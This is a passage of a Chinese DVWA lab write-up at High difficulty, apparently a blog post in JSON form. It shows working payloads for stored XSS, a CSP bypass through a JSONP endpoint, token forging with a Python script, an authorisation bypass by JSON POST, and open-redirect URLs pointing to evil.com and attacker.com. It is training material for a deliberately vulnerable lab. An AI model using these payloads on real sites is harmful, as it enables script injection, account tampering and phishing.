          <div onmouseover=alert(1)>\u9f20\u6807\u60ac\u505c\u89e6\u53d1<\/div>
          \n<a href=javascript:alert(1)>\u70b9\u51fb\u89e6\u53d1<\/a><\/p>\n

          \n

          12. XSS (Stored) \u2014 \u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5bf9message\u5b57\u6bb5\u505a\u4e86\u591a\u91cd\u8fc7\u6ee4（strip_tags+addslashes+htmlspecialchars），\u5b8c\u5168\u65e0\u6cd5\u6ce8\u5165；\u5bf9name\u5b57\u6bb5\u4ec5\u8fc7\u6ee4<script>\u6807\u7b7e，\u53ef\u5728name\u5b57\u6bb5\u6784\u9020\u4e8b\u4ef6\u578bXSS，\u5e76\u4fee\u6539\u524d\u7aef\u8f93\u5165\u6846\u9650\u5236\u5b9e\u73b0\u957fPayload\u8f93\u5165\u3002<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          \"\"<\/p>\n

          \/\/ message\u5b57\u6bb5\u4e25\u683c\u8fc7\u6ee4<\/span>
          \n$message<\/span>=<\/span>strip_tags<\/span>(<\/span>addslashes<\/span>(<\/span> $message<\/span>)<\/span>)<\/span>;<\/span>
          \n$message<\/span>=<\/span>htmlspecialchars<\/span> (<\/span> $message<\/span>)<\/span>;<\/span>
          \n\/\/ name\u5b57\u6bb5\u4ec5\u8fc7\u6ee4script\u6807\u7b7e<\/span>
          \n$name<\/span>=<\/span>preg_replace<\/span>(<\/span>'\/<(.*)s(.*)c(.*)i(.*)p(.*)t\/i'<\/span>,<\/span>""<\/span>,<\/span>$name<\/span>)<\/span>;<\/span><\/p>\n

          \u5229\u7528\u6b65\u9aa4<\/h4>\n
        • \u4fee\u6539\u524d\u7aef\u8f93\u5165\u9650\u5236：name\u8f93\u5165\u6846\u9ed8\u8ba4\u6709\u957f\u5ea6\u9650\u5236，\u901a\u8fc7\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u4fee\u6539maxlength\u4e3a10000，\u5141\u8bb8\u8f93\u5165\u957fPayload\u3002 \"\"<\/li>\n
        • \u6784\u9020Payload：\u5728name\u5b57\u6bb5\u8f93\u5165<img>\u6807\u7b7e\u7684onerror\u4e8b\u4ef6XSS Payload，message\u5b57\u6bb5\u4efb\u610f\u586b\u5199：<img src=x onerror=alert(1)>\n <\/li>\n

          \"\" 3. \u63d0\u4ea4\u89e6\u53d1：\u63d0\u4ea4\u540e\u7559\u8a00\u7c3f\u4e2d\u5b58\u50a8\u8be5Payload，\u4efb\u610f\u7528\u6237\u8bbf\u95ee\u7559\u8a00\u7c3f\u9875\u9762\u65f6，\u81ea\u52a8\u5f39\u51fa\u5f39\u7a97，\u5b58\u50a8\u578bXSS\u5229\u7528\u6210\u529f\u3002 \"\"<\/p>\n

          \n

          13. CSP Bypass \u2014 CSP \u7ed5\u8fc7<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u914d\u7f6e\u4e86\u5185\u5bb9\u5b89\u5168\u7b56\u7565（CSP），\u4ec5\u5141\u8bb8\u52a0\u8f7dself（\u81ea\u8eab\u57df\u540d）\u7684\u811a\u672c，\u7981\u6b62\u5916\u90e8\u811a\u672c\u548c\u672a\u6388\u6743\u5185\u8054\u811a\u672c，\u4f46\u9776\u573a\u81ea\u8eab\u4ee3\u7801\u5b58\u5728\u903b\u8f91\u6f0f\u6d1e，\u53ef\u901a\u8fc7\u81ea\u8eab\u7684JSONP\u63a5\u53e3\u7ed5\u8fc7CSP\u3002 \"\" \"\"<\/p>\n

          \u6f0f\u6d1e\u5206\u6790<\/h4>\n
        • \u67e5\u770b\u54cd\u5e94\u5934，CSP\u914d\u7f6e\u4e3a：Content-Security-Policy: script-src 'self'\u3002 \"\"<\/li>\n
        • \u53d1\u73b0\u9776\u573a\u5b58\u5728JSONP\u63a5\u53e3：\/vulnerabilities\/csp\/source\/jsonp.php?callback=xxx，\u8be5\u63a5\u53e3\u53ef\u63a5\u6536\u4efb\u610fcallback\u53c2\u6570\u5e76\u6267\u884c，\u4e14\u5c5e\u4e8e\u81ea\u8eab\u57df\u540d，\u7b26\u5408CSP\u89c4\u5219\u3002 \"\"<\/li>\n
        • \u540e\u7aef\u5b58\u5728\u4efb\u610f\u4ee3\u7801\u5199\u5165\u6f0f\u6d1e，include\u53c2\u6570\u53ef\u76f4\u63a5\u5199\u5165HTML\/JS\u4ee3\u7801，\u65e0\u8fc7\u6ee4\u3002<\/li>\n

          \u5229\u7528\u65b9\u6cd5<\/h4>\n

          \u901a\u8fc7POST\u8bf7\u6c42\u5411include\u53c2\u6570\u6ce8\u5165\u811a\u672c，\u52a0\u8f7d\u81ea\u8eabJSONP\u63a5\u53e3\u5e76\u6267\u884cXSS\u4ee3\u7801，Payload\u5982\u4e0b：<\/p>\n

          include=<script src="\/vulnerabilities\/csp\/source\/jsonp.php?callback=alert(1)"><\/script><\/p>\n

          \u64cd\u4f5c\u6b65\u9aa4<\/h4>\n
        • \u6253\u5f00Burp Suite\u7684Repeater，\u6784\u9020POST\u8bf7\u6c42，\u76ee\u6807URL：http:\/\/dvwa:8564\/vulnerabilities\/csp\/；<\/li>\n
        • \u8bf7\u6c42\u4f53\u4e3aapplication\/x-www-form-urlencoded，\u53c2\u6570：include=<script src="\/vulnerabilities\/csp\/source\/jsonp.php?callback=alert(1)"><\/script>；<\/li>\n
        • \u53d1\u9001\u8bf7\u6c42\u540e，\u6210\u529f\u5f39\u51fa\u5f39\u7a97，CSP\u7ed5\u8fc7\u6210\u529f\u3002 \"\"<\/li>\n
          \n

          14. JavaScript Attacks \u2014 JavaScript \u653b\u51fb<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u901a\u8fc7JavaScript\u52a0\u5bc6\u7b97\u6cd5\u751f\u6210token，\u9700\u63d0\u4ea4\u6b63\u786e\u7684phrase+token\u624d\u80fd\u901a\u8fc7\u9a8c\u8bc1，\u6838\u5fc3\u4e3a\u5206\u6790\u52a0\u5bc6\u903b\u8f91\u5e76\u8fd8\u539ftoken\u751f\u6210\u8fc7\u7a0b\u3002<\/p>\n

          \u52a0\u5bc6\u903b\u8f91\u5206\u6790<\/h4>\n

          \"\" \u901a\u8fc7Burp\u6293\u5305\u83b7\u53d6\u6df7\u6dc6\u7684JS\u4ee3\u7801，\u53cd\u6df7\u6dc6\u540e\u5f97\u52303\u4e2a\u6838\u5fc3\u52a0\u5bc6\u51fd\u6570，\u6267\u884c\u987a\u5e8f\u4e3a：token_part_1 \u2192 token_part_2（300ms\u5ef6\u65f6） \u2192 token_part_3（\u70b9\u51fb\u63d0\u4ea4\u89e6\u53d1）\u3002<\/p>\n

          \u53cd\u6df7\u6dc6\u540e\u6838\u5fc3JS\u4ee3\u7801<\/h5>\n

          \/\/ \u5b57\u7b26\u4e32\u53cd\u8f6c<\/span>
          \nfunction<\/span> do_something<\/span>(<\/span>e<\/span>)<\/span> {<\/span>
          \n for<\/span> (<\/span>var<\/span> t =<\/span> ""<\/span>,<\/span> n =<\/span> e.<\/span>length –<\/span> 1<\/span>;<\/span> n >=<\/span> 0<\/span>;<\/span> n—<\/span>)<\/span> t +=<\/span> e[<\/span>n]<\/span>;<\/span>
          \n return<\/span> t
          \n}<\/span>
          \n\/\/ sha256(YY + token)，High\u96be\u5ea6\u4e3aXX<\/span>
          \nfunction<\/span> token_part_2<\/span>(<\/span>e =<\/span> "XX"<\/span>)<\/span> {<\/span>
          \n document.<\/span>getElementById<\/span>(<\/span>"token"<\/span>)<\/span>.<\/span>value =<\/span> sha256<\/span>(<\/span>e +<\/span> document.<\/span>getElementById<\/span>(<\/span>"token"<\/span>)<\/span>.<\/span>value)<\/span>
          \n}<\/span>
          \n\/\/ sha256(token + ZZ)<\/span>
          \nfunction<\/span> token_part_3<\/span>(<\/span>t,<\/span> y =<\/span> "ZZ"<\/span>)<\/span> {<\/span>
          \n document.<\/span>getElementById<\/span>(<\/span>"token"<\/span>)<\/span>.<\/span>value =<\/span> sha256<\/span>(<\/span>document.<\/span>getElementById<\/span>(<\/span>"token"<\/span>)<\/span>.<\/span>value +<\/span> y)<\/span>
          \n}<\/span>
          \n\/\/ \u53cd\u8f6cphrase\u8d4b\u503c\u7ed9token<\/span>
          \nfunction<\/span> token_part_1<\/span>(<\/span>a,<\/span> b<\/span>)<\/span> {<\/span>
          \n document.<\/span>getElementById<\/span>(<\/span>"token"<\/span>)<\/span>.<\/span>value =<\/span> do_something<\/span>(<\/span>document.<\/span>getElementById<\/span>(<\/span>"phrase"<\/span>)<\/span>.<\/span>value)<\/span>
          \n}<\/span>
          \n\/\/ \u6267\u884c\u987a\u5e8f：\u5148token_part_1，300ms\u540etoken_part_2，\u70b9\u51fb\u63d0\u4ea4\u89e6\u53d1token_part_3<\/span>
          \ndocument.<\/span>getElementById<\/span>(<\/span>"phrase"<\/span>)<\/span>.<\/span>value =<\/span> ""<\/span>;<\/span>
          \nsetTimeout<\/span>(<\/span>function<\/span>(<\/span>)<\/span> {<\/span>token_part_2<\/span>(<\/span>"XX"<\/span>)<\/span>}<\/span>,<\/span> 300<\/span>)<\/span>;<\/span>
          \ndocument.<\/span>getElementById<\/span>(<\/span>"send"<\/span>)<\/span>.<\/span>addEventListener<\/span>(<\/span>"click"<\/span>,<\/span> token_part_3)<\/span>;<\/span>
          \ntoken_part_1<\/span>(<\/span>"ABCD"<\/span>,<\/span> 44<\/span>)<\/span>;<\/span><\/p>\n

          \"\"<\/p>\n

          \u5229\u7528\u65b9\u6cd5（\u4e24\u79cd）<\/h4>\n

          \u65b9\u6cd51：\u524d\u7aef\u63a7\u5236\u53f0\u624b\u52a8\u6267\u884c\u52a0\u5bc6\u51fd\u6570<\/h5>\n
        • \u5728\u8f93\u5165\u6846\u4e2d\u586b\u5165\u6b63\u786e\u7684phrase：success； \"\"<\/li>\n
        • \u6253\u5f00\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u63a7\u5236\u53f0，\u6309\u987a\u5e8f\u6267\u884c\u52a0\u5bc6\u51fd\u6570：token_part_1<\/span>(<\/span>"ABCD"<\/span>,<\/span> 44<\/span>)<\/span>;<\/span>
          \ntoken_part_2<\/span>(<\/span>"XX"<\/span>)<\/span>;<\/span>\n <\/li>\n

          \"\" 3. \u70b9\u51fb\u63d0\u4ea4\u6309\u94ae，\u89e6\u53d1token_part_3\u751f\u6210\u6700\u7ec8token，\u9a8c\u8bc1\u6210\u529f\u3002 \"\"<\/p>\n

          \u65b9\u6cd52：Python\u811a\u672c\u8fd8\u539f\u52a0\u5bc6\u8fc7\u7a0b，\u76f4\u63a5\u751f\u6210token<\/h5>\n

          \u901a\u8fc7Python\u5b9e\u73b0\u5b57\u7b26\u4e32\u53cd\u8f6c+SHA256\u52a0\u5bc6，\u76f4\u63a5\u751f\u6210\u6700\u7ec8token，\u6784\u9020POST\u8bf7\u6c42\u63d0\u4ea4\u3002<\/p>\n

          Python\u52a0\u5bc6\u811a\u672c<\/h6>\n

          import<\/span> hashlib<\/p>\n

          def<\/span> do_something<\/span>(<\/span>e)<\/span>:<\/span>
          \n """\u5b57\u7b26\u4e32\u53cd\u8f6c"""<\/span>
          \n return<\/span> e[<\/span>:<\/span>:<\/span>–<\/span>1<\/span>]<\/span><\/p>\n

          def<\/span> sha256<\/span>(<\/span>s)<\/span>:<\/span>
          \n """SHA256 \u54c8\u5e0c\u8ba1\u7b97"""<\/span>
          \n return<\/span> hashlib.<\/span>sha256(<\/span>s.<\/span>encode(<\/span>)<\/span>)<\/span>.<\/span>hexdigest(<\/span>)<\/span><\/p>\n

          def<\/span> calc_token<\/span>(<\/span>phrase=<\/span>"success"<\/span>)<\/span>:<\/span>
          \n # Step 1: token_part_1 – \u53cd\u8f6cphrase<\/span>
          \n token =<\/span> do_something(<\/span>phrase)<\/span>
          \n print<\/span>(<\/span>f"Step 1 (\u53cd\u8f6cphrase): <\/span>{<\/span>token}<\/span><\/span>"<\/span><\/span>)<\/span>
          \n # Step 2: token_part_2 – sha256("XX" + token)<\/span>
          \n token =<\/span> sha256(<\/span>"XX"<\/span> +<\/span> token)<\/span>
          \n print<\/span>(<\/span>f"Step 2 (sha256 XX+token): <\/span>{<\/span>token}<\/span><\/span>"<\/span><\/span>)<\/span>
          \n # Step 3: token_part_3 – sha256(token + "ZZ")<\/span>
          \n token =<\/span> sha256(<\/span>token +<\/span> "ZZ"<\/span>)<\/span>
          \n print<\/span>(<\/span>f"Step 3 (sha256 token+ZZ): <\/span>{<\/span>token}<\/span><\/span>"<\/span><\/span>)<\/span>
          \n return<\/span> token<\/p>\n

          if<\/span> __name__ ==<\/span> "__main__"<\/span>:<\/span>
          \n phrase =<\/span> "success"<\/span>
          \n token =<\/span> calc_token(<\/span>phrase)<\/span>
          \n print<\/span>(<\/span>f"\\\\n\u6700\u7ec8token: <\/span>{<\/span>token}<\/span><\/span>"<\/span><\/span>)<\/span>
          \n print<\/span>(<\/span>f"POST\u6570\u636e: phrase=<\/span>{<\/span>phrase}<\/span><\/span>&send=Submit&token=<\/span>{<\/span>token}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

          \u6267\u884c\u811a\u672c<\/h6>\n

          \"\" \u8fd0\u884c\u540e\u751f\u6210\u6700\u7ec8token，\u901a\u8fc7Burp\u6784\u9020POST\u8bf7\u6c42\u63d0\u4ea4，\u9a8c\u8bc1\u6210\u529f\u3002 \"\" \"\"<\/p>\n

          \n

          15. Authorisation Bypass \u2014 \u8d8a\u6743\u8bbf\u95ee<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5bf9\u524d\u7aef\u9875\u9762\u505a\u4e86\u7ba1\u7406\u5458\u6743\u9650\u6821\u9a8c（\u975eadmin\u7528\u6237\u8bbf\u95ee\u63d0\u793a403），\u4f46\u5bf9\u540e\u7aef\u63a5\u53e3\u6587\u4ef6change_user_details.php\u672a\u505a\u9274\u6743，\u53ef\u76f4\u63a5\u53d1\u9001JSON\u8bf7\u6c42\u4fee\u6539\u4efb\u610f\u7528\u6237\u4fe1\u606f\u3002<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          \"\"<\/p>\n

          \/\/ \u524d\u7aef\u9875\u9762\u6743\u9650\u6821\u9a8c<\/span>
          \n!<\/span>[<\/span>]<\/span>(<\/span>https<\/span>:<\/span>\/\/cdn.jsdelivr.net\/gh\/Tjsdrj\/BlogImage@main\/img\/20260303174017788.png)<\/span>
          \nif<\/span> (<\/span>dvwaCurrentUser<\/span>(<\/span>)<\/span> !=<\/span>"admin"<\/span>)<\/span>{<\/span>
          \n print<\/span> "Unauthorised"<\/span>;<\/span>
          \n http_response_code<\/span>(<\/span>403<\/span>)<\/span>;<\/span>
          \n exit<\/span>;<\/span>
          \n}<\/span>
          \n\/\/ \u540e\u7aef\u63a5\u53e3change_user_details.php \u65e0\u4efb\u4f55\u9274\u6743\u903b\u8f91<\/span><\/p>\n

          \u5229\u7528\u65b9\u6cd5<\/h4>\n

          \u76f4\u63a5\u5411change_user_details.php\u53d1\u9001JSON\u683c\u5f0f\u7684POST\u8bf7\u6c42，\u4fee\u6539\u4efb\u610f\u7528\u6237\u7684id\u3001\u59d3\u540d\u7b49\u4fe1\u606f：<\/p>\n

        • \u76ee\u6807URL：http:\/\/dvwa:8564\/vulnerabilities\/authbypass\/change_user_details.php；<\/li>\n
        • \u8bf7\u6c42\u5934：Content-Type: application\/json；<\/li>\n
        • \u8bf7\u6c42\u4f53（JSON）：{<\/span>"id"<\/span>:<\/span>3<\/span>,<\/span>"first_name"<\/span>:<\/span>"hacked"<\/span>,<\/span>"surname"<\/span>:<\/span>"hacked"<\/span>}<\/span>\n <\/li>\n

          \"\" 4. \u53d1\u9001\u8bf7\u6c42\u540e，\u8fd4\u56de{"result":"ok"}，\u7528\u6237\u4fe1\u606f\u4fee\u6539\u6210\u529f\u3002 \"\"<\/p>\n

          \n

          16. Open HTTP Redirect \u2014 \u5f00\u653e\u91cd\u5b9a\u5411<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5bf9redirect\u53c2\u6570\u505a\u4e86\u5173\u952e\u5b57\u5339\u914d\u8fc7\u6ee4（\u4ec5\u5141\u8bb8\u5305\u542binfo.php），\u4f46\u672a\u9650\u5236info.php\u7684\u4f4d\u7f6e，\u53ef\u6784\u9020\u5305\u542binfo.php\u7684\u6076\u610fURL，\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u91cd\u5b9a\u5411\u3002<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          if<\/span> (<\/span>array_key_exists<\/span>(<\/span>"redirect"<\/span>,<\/span>$_GET<\/span>)<\/span> &&<\/span> $_GET<\/span>[<\/span>'redirect'<\/span>]<\/span>!=<\/span>""<\/span>)<\/span>{<\/span>
          \n if<\/span>(<\/span>strpos<\/span>(<\/span>$_GET<\/span>[<\/span>'redirect'<\/span>]<\/span>,<\/span>"info.php"<\/span>)<\/span>==<\/span>false<\/span>)<\/span>{<\/span>
          \n http_response_code<\/span>(<\/span>500<\/span>)<\/span>;<\/span>
          \n echo<\/span> "<p>You can only redirect to the info page.<\/p>"<\/span>;<\/span>
          \n exit<\/span>;<\/span>
          \n }<\/span>else<\/span>{<\/span>
          \n \/\/ \u91cd\u5b9a\u5411\u903b\u8f91<\/span>
          \n header<\/span>(<\/span>"Location: "<\/span>.<\/span>$_GET<\/span>[<\/span>'redirect'<\/span>]<\/span>)<\/span>;<\/span>
          \n }<\/span>
          \n}<\/span><\/p>\n

          \"\"<\/p>\n

          \u5229\u7528\u65b9\u6cd5<\/h4>\n

          \u6784\u9020\u5305\u542binfo.php\u7684\u6076\u610fURL，\u7ed5\u8fc7\u6ee4\u540e\u5c06\u53d7\u5bb3\u8005\u91cd\u5b9a\u5411\u5230\u9493\u9c7c\u7f51\u7ad9\/\u6076\u610f\u7ad9\u70b9，\u6838\u5fc3Payload\u793a\u4f8b：<\/p>\n

          # Payload1：\u53c2\u6570\u540e\u62fc\u63a5info.php
          \n?redirect=https:\/\/evil.com\/?x=info.php
          \n# Payload2：\u5b50\u57df\u540d\u4e2d\u5305\u542binfo.php
          \n?redirect=https:\/\/evil.com\/info.php.attacker.com\/
          \n# Payload3：\u951a\u70b9\u540e\u62fc\u63a5info.php
          \n?redirect=https:\/\/attacker.com#info.php<\/p>\n

          \u6f0f\u6d1e\u5371\u5bb3<\/h4>\n

          \u653b\u51fb\u8005\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u6076\u610f\u94fe\u63a5，\u53d7\u5bb3\u8005\u5728\u4fe1\u4efb\u7684dvwa\u57df\u540d\u4e0b\u88ab\u91cd\u5b9a\u5411\u5230\u6076\u610f\u7ad9\u70b9，\u5bfc\u81f4\u9493\u9c7c\u3001\u8d26\u53f7\u7a83\u53d6\u7b49\u653b\u51fb\u3002<\/p>\n

          \n

          17. Cryptography \u2014 \u5bc6\u7801\u5b66<\/h3>\n
          \n","protected":false},"excerpt":{"rendered":"

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          \nBrute Force \u2014 \u66b4\u529b\u7834\u89e3<\/p>\n","protected":false},"author":2,"featured_media":80342,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9012,9013,275],"topic":[],"class_list":["post-80362","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-dvwa","tag-high","tag-web"],"yoast_head":"\nDVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/80362.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) \u96be\u5ea6\u7b49\u7ea7：High \u62a5\u544a\u8bf4\u660e：\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4，\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload，\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0，\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold 📑 \u76ee\u5f55 Brute Force \u2014 \u66b4\u529b\u7834\u89e3\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/80362.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-04T14:11:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/03\/20260304141101-69a83d7532e0f.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/80362.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/80362.html\",\"name\":\"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level) - 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